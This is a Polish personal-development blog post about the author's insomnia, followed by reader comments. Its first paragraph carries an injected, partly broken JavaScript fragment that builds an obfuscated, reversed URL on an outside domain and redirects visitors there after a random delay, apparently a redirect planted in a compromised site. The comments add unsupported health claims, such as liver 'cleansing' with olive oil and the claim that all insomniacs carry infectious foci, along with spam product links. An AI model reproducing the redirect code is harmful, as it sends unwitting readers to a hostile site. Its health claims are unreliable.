Dziś porada dla osób cierpiących na bezsenność. Ja mam kłopoty ze snem… W nocy, po kilku godzinach snu budzę się i przez 2-3 godziny, a czasami toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}do rana, nie mogę zasnąć. Kilka dni, a raczej nocy temu, trafiłem w internecie na bardzo ciekawą stronę i… problem zniknął! Oby na zawsze 🙂
Strona, o Której Opowiadam Na Filmie
AKTUALIZACJA: Niestety strona została usunięta…
Trzymam kciuki za wszystkich nocnych surferów w sieci i…
Spokojnej nocy życzę 🙂
 O autorze: Robert Ważyński jest autorem książki "Nie boję się mówić" wydanej przez Wydawnictwo Złote Myśli, Jego flagowym przedsięwzięciem jest internetowy kurs "Tajna Księga Mówców" dostępny na platformie interkursy.pl. Na co dzień Robert wyżywa się literacko i filmowo na swoim blogu Tajniki Prezentacji i na YT. |
Wpis Ci się podobał?
Świeżutkie artykuły i filmy na temat prezentacji i rozwoju osobistego wprost na Twoją skrzynkę!
Robercie, wg medycyny chińskiej budzenie się między 01.00 a 03.00 jest sygnałem złej pracy wątroby, w tych godz jest max energii w meridianie wątroby. Aby wzmocnić oddziaływanie technik relaksacyjnych, treningu autogennego zalecana jest pozycja leząca z wysoko uniesionymi nogami opartymi np o ścianę. Wątroba regeneruje się, odpoczywa tylko w pozycji lezącej. Sugeruję badania,/ponieważ badania ujawniają patologię, wyraźnie zmiany na poziomie fizycznym, oby nie wykazały/. Oraz doradzałbym Tobie przejść tytułem próby weryfikacji wniosków z medycyny chińskiej na dietę, jakby wątroba była chora w celu jej regeneracji.
Nie znam twoich poglądów na temat medycyny naturalnej, oraz czy jesteś zdecydowanym zwolennikiem medycyny akademickiej uważającym inne rozwiązania za …. . I nie wiem czy kiedykolwiek robiłeś oczyszczanie wątroby kuracją z oliwy z pierwszego tłoczenia, sokiem z cytryny. A polecam, zdecydowanie polecam, przeprowadzenie tą metodą kuracji oczyszczania.
Stosowna literatura do kuracji jest dostępna na necie, a ponieważ pierwszymi źródłami o tej terapii jest medycyna hinduska to tam bym kierował swoją uwagę, jako źródło inspiracji dla innych naturoterapeutów działających współcześnie. Ponieważ sugeruję pewne rozwiązanie nie poproszony o radę, wiec jeżeli sobie nie życzysz tego typu komentarzy to napisz na PW i więcej się nie wychylę.
Pozdrawiam
Ps Powodów bezsenności może być wiele, ale taką informację dostałem intuicyjnie.
Andrzeju,
bardzo dziękuję za wartościowy wpis. Trudno mi ocenić czy to rzeczywiście wątroba ale coś może być na rzeczy, bo ostatnio ją czuję 🙁 Tłuste jedzenie po hotelach, restauracjach, alkohol… Dobrze, że wątroba się regeneruje 🙂 Na pewno muszę zacząć ją oszczędzać. Dam znać czy nocne wybudzenia ustały.
pozdrawiam serdecznie!
Rozumiem, że film nagrany we wspomnianym hotelu / pokoju hotelowym? Zaraz po 10h spaniu 😉
Cyprianie,
dokładnie tak! Nie wiem, czy wyglądam na filmie na zaspanego ale taki już jestem 🙂 gdy dzwoni do mnie ktoś w ciągu dnia to na 99 procent zapyta: przepraszam, nie obudziłem?
pozdrawiam
Robert (też dzisiaj wyspany, dzięki metodzie opisanej w filmie)
Z filmu nie wyniosłem senności.
Zauważyłem tylko meble hotelowe … i kamerkę którą widać w lustrze.
No to pomyślałem, że to pewnie kręcone “na gorąco” 🙂
kamerkę pokazałem celowo. Tak sobie próbuję różnych rzeczy na filmikach 🙂
pozdrawiam ze słonecznych Chojnic
ps. dobrze, że nie wyglądam na zaspanego
Witaj Robercie,otrzymuję od Ciebie różne informacje, przyznam, że nie zawsze je czytam.Dziś zainteresował mnie temat bezsenności i dzięki temu trafiłam na stronę Rebeki.Kiedyś uprawiałam jogę.Ostatnio dałam się porwać wirowi życia, zwariowanemu:-(Dzięki Tobie postanowiłam coś z tym zrobić, przede wszystkim wrócić do zajęć ruchowych i robić wszystko w nastroju up time / bardzo mi się to podoba/.
Andrzeju, Tobie też dziękuję za świetny komentarz.Robiłam oczyszczanie wątroby takim sposobem, polecam.Pisz śmiało o wszystkim, bo nie wiadomo, co kiedy komu może się przydać, a to wszystkim nam jest potrzebne, niewiele się różnimy.
Robert, gratuluję bloga i jestem Ci ogromnie wdzięczna za to co robisz.Życzę powodzenia.
Ewa
witam
Wszystkie osoby cierpiące na bezsenność mają ogniska zakaźne obieg czynnościowy wątroby, śledziony, mózgu, OUN.Detoksykacja tych organów pozwala na poprawę psychiki zapraszam do artykułu Ogniska zakaźne i jak powstają
Pozdrawiam
Marek Kozak
Witaj Marku na blogu Tajniki Prezentacji. Rozumiem, że masz sposób na detoksyzację?
Jak radzić sobie z bezsennością?
W walce z bezsennością stosowane są różne metody leczenia. Im wcześniej zostaną tu podjęte odpowiednie kroki – tym lepiej dla pacjenta. Głównym celem leczenia może być usuniecie przyczyny bezsenności (a zazwyczaj jest to stres lub nieprawidłowy tryb życia) oraz wzmocnienie tych procesów, które są odpowiedzialne za sen człowieka. Ważny jest tu m.in. odpowiedni rytm okołodobowy oraz zwiększanie aktywności fizycznej. Za pomocą odpowiednich terapii można nauczyć się regulować zarówno długość, jak i głębokość snu, co pozwala rozwiązać wiele problemów związanych z bezsennością.
polecam http://leczeniebezsennosci.pl
Ciekawy filmik. Mnie w leczeniu bezsenności pomógł forsen forte z melatoniną. Problemy ze snem pojawiły się u mnie, gdy straciłam pracę. Nie wiedziałam jak sobie poradzę, załamałam się i nie wiedziałam co ze sobą począć. Przez ciągły stres, w którym sama się napędzałam, było ze mną coraz gorzej. Mój brat kupił mi forsen z melatoniną i z każdym dniem widziałam, że mój stan się poprawia. Wyciszyłam się, wyspałam a przede wszystkim zebrałam w sobie i znalazłam nową pracę, ale nie wiem co by było, gdybym do tej pory nie spała normalnie….aż boję się pomyśleć:(
Cieszę się, że wyszłaś na prostą! U mnie, jak sądzę powodem bezsenności też był stres, z którego nie zdawałem sobie sprawy. Jak się okazuje kłopoty ze snem to jeden z pierwszych sygnałów, że stres zaczyna nas atakować. Czasem nie zdajemy sobie nawet sprawy z faktu, że “coś jest nie tak”. wszystko rozgrywa się w naszej podświadomości… Utrata pracy to chyba jedna z najgorszych rzeczy jaka może nas spotkać. Spada wtedy poczucie własnej wartości. Trudno to odbudować. Bardzo dziękuję Ci za komentarz i zapraszam do odwiedzania bloga Tajniki Prezentacji!
Można wyłączyć myślenie ! w końcu to my decydujemy co robimy a nie nasza podświadomość . Bezsenność Ciężki temat raczej choroba wątroby walczę z tym 3 miesiąc … Nie równa walka żadne leki nawet ostre na recepte wbijały mnie w łóżko ale nie dały zasnąć … Teraz biore zioła na wątrobe zobaczymy czas pokaże
Z bezsennością walczę od 5 lat. Przeczytałem i wysłuchałem różnych porad. Moim zdanie wszystko zależy, czy powodem bezsenności jest stres, czy inne czynniki.
W moim przypadku coś nieokreślonego wybudza mnie tuż przed przejściem w stan snu i z tego powodu nie mogę zasnąć. Mały koszmar trwający dziesiątki razy podczas zasypiania..
Konsekwencją jest wybicie ze normalnego, 8 godzinnego snu. U was to tylko stres lub rozregulowanie rytmu snu.
Moja rada nie wstawajcie jak nie możecie zasnąć, bo jeszcze bardziej zaburzycie rytm snu.
Mózg uczy się bardzo szybko i dostosowuje do nowych oczekiwań np. nocna zmiana. Najlepiej tak jak radzi Rebeka nie skupiać się na myślach.
Niech sobie powoli odchodzą… odpływają , a jeszcze lepiej zacząć lekko medytować i powtarzać na okrągło w myślach krótką mantrę np. “jak lekko i swobodnie zasypiam…” tonem jak przy modlitwie.
I rozluźniajcie całe ciało, a przede wszystkim okolice karku. Gdy przychodzi napięcie znów rozluźniajcie cały kręgosłup i kark. Pozdrawiam Mariusz